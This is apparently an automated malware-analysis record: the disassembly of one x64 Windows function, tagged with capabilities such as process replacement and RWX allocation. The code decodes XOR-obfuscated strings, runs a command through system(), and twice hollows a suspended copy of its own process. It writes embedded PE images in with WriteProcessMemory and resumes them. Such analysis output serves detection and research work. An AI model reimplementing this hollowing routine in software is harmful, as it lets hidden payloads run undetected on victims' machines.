Function at 0x140020c20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute command
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x5a0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140451f58]
xor rax, rsp
mov qword [rbp + 0x520], rax
xor r13d, r13d
movabs rdi, 0x2128af3fdbf9cb3a
movabs rsi, 0xb1c2be029bf8e1c6
movabs r14, 0x2128af3fdb8aa759
movabs r15, 0x5541ce68fbd78602
movabs r12, 0x91b0d164bb9f8faf
xorps xmm0, xmm0
mov qword [rbp + 0x30], r13
mov edx, 0x20
mov qword [rbp + 0x38], setsockopt
lea rcx, [rbp + 0x20]
movups xmmword [rbp + 0x20], xmm0
call fcn.140014b50
movups xmm0, xmmword [0x14002cc10]
mov qword [rbp + 0x20], rax
mov rdx, rax
mov qword [rbp + 0x30], 0x1d
mov qword [rbp + 0x38], 0x1f
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14002cc20]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x14002cc28]
mov dword [rax + 0x18], ecx
lea rcx, [rbp + 0x20]
movzx eax, byte [0x14002cc2c]
mov byte [rdx + 0x1c], al
mov byte [rdx + 0x1d], r13b
call fcn.140011bd0
mov rdx, qword [rbp + 0x38]
mov ebx, eax
cmp rdx, 0x10
jb 0x140020d3a
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020d35
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e53
call fcn.140026c50
mov qword [rbp + 0x10], rdi
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x18], rsi
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], rsi
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x38], setsockopt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test ebx, ebx
jne 0x140020e5a
movabs rax, 0xb425eed8562074c1
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x40]
movabs rax, 0x3e0634848a9c22e8
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x58], rax
movabs rax, 0xfcb49cba73428b02
mov qword [rbp + 0x60], rax
movabs rax, 0x92e216ee38755484
mov qword [rbp + 0x68], rax
movabs rax, 0xc66acea132411193
movdqa xmm2, xmmword [rbp + 0x60]
mov qword [rbp + 0xf0], rax
movabs rax, 0x4a2607a4fef36cc8
mov qword [rbp + 0xf8], rax
movabs rax, 0xd2c0eedb0731ab6d
mov qword [rbp + 0x100], rax
movabs rax, 0x92e216ee38757aaa
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
mov qword [rbp + 0x108], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x60], xmm2
vmovdqa ymmword [rbp + 0x40], ymm1
vzeroupper
call fcn.140026990
lea rcx, [rbp]
mov qword [rbp], 0x3e8
call fcn.14000c280
jmp 0x140020c8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movsxd rbx, dword [0x14041246c]
lea r15, [0x140412430]
xorps xmm1, xmm1
xor eax, eax
add rbx, r15
mov qword [rbp + 0xd0], rax
xorps xmm0, xmm0
mov qword [rbp + 0xa0], rax
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0x40], xmm1
movups xmmword [rbp + 0x50], xmm1
movups xmmword [rbp + 0x60], xmm1
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0x90], xmm1
cmp dword [rbx], 0x4550
jne 0x140021064
mov r8d, 0x104
lea rdx, [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0xc0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x120]
lea rax, [rbp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140021064
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140021064
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rbp + 0xc0]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, r15
mov rcx, qword [rbp + 0xc0]
mov rdx, rax
mov r14, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r15, r13
cmp r13w, word [rbx + 6]
jae 0x140021021
mov rsi, r13
nop dword [rax]
movsxd rcx, dword [0x14041246c]
lea rax, [0x140412430]
add rcx, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rcx + rax + 0x11c]
mov edx, dword [rcx + rax + 0x114]
add r8, rax
mov r9d, dword [rcx + rax + 0x118]
add rdx, r14
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rdi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rbp + 0xc0]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r15
add rsi, 0x28
cmp r15, rax
jb 0x140020fa0
movabs rsi, 0xb1c2be029bf8e1c6
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r14
mov qword [rdi + 0x80], rax
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0xc0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movabs r14, 0x2128af3fdb8aa759
movabs rax, 0x4549c073fbd78602
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
movabs rax, 0xb1c2902cb59f8faf
mov qword [rbp + 0xc8], rsi
mov qword [rbp + 0x18], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x10], xmm0
call fcn.140026990
movsxd rbx, dword [0x14022e86c]
lea rsi, [0x14022e830]
xorps xmm1, xmm1
xor eax, eax
add rbx, rsi
mov qword [rbp + 0xd0], rax
xorps xmm0, xmm0
mov qword [rbp + 0xa0], rax
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0x40], xmm1
movups xmmword [rbp + 0x50], xmm1
movups xmmword [rbp + 0x60], xmm1
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0x90], xmm1
cmp dword [rbx], 0x4550
jne 0x1400212aa
mov r8d, 0x104
lea rdx, [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0xc0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x120]
lea rax, [rbp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400212aa
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400212aa
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rbp + 0xc0]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, rsi
mov rcx, qword [rbp + 0xc0]
mov rdx, rax
mov r15, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14, r13
cmp r13w, word [rbx + 6]
jae 0x140021267
mov rsi, r13
nop word [rax + rax]
movsxd rcx, dword [0x14022e86c]
lea rax, [0x14022e830]
add rcx, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rcx + rax + 0x11c]
mov edx, dword [rcx + rax + 0x114]
add r8, rax
mov r9d, dword [rcx + rax + 0x118]
add rdx, r15
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rdi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rbp + 0xc0]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r14
add rsi, 0x28
cmp r14, rax
jb 0x1400211f0
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r15
mov qword [rdi + 0x80], rax
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0xc0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movabs r14, 0x2128af3fdb8aa759
movabs rcx, 0x4a2607a4fef36cc8
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0x38], rcx
movabs rax, 0x424bda6cfbd78c02
mov qword [rbp + 0x20], rax
movabs rax, 0x9fecd277fd8b92a3
mov qword [rbp + 0x28], rax
movabs rax, 0xc66acea1324111bd
mov qword [rbp + 0x30], rax
movabs rax, 0xb1c2be029bf8e1c6
mov qword [rbp + 0xc8], rax
movabs rax, 0xc66acea132411193
mov qword [rbp + 0xd8], rcx
lea rcx, [rbp + 0x20]
mov qword [rbp + 0xd0], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140026990
mov rcx, qword [rbp + 0x520]
xor rcx, rsp
call fcn.140026cf0
lea r11, [rsp + 0x5a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret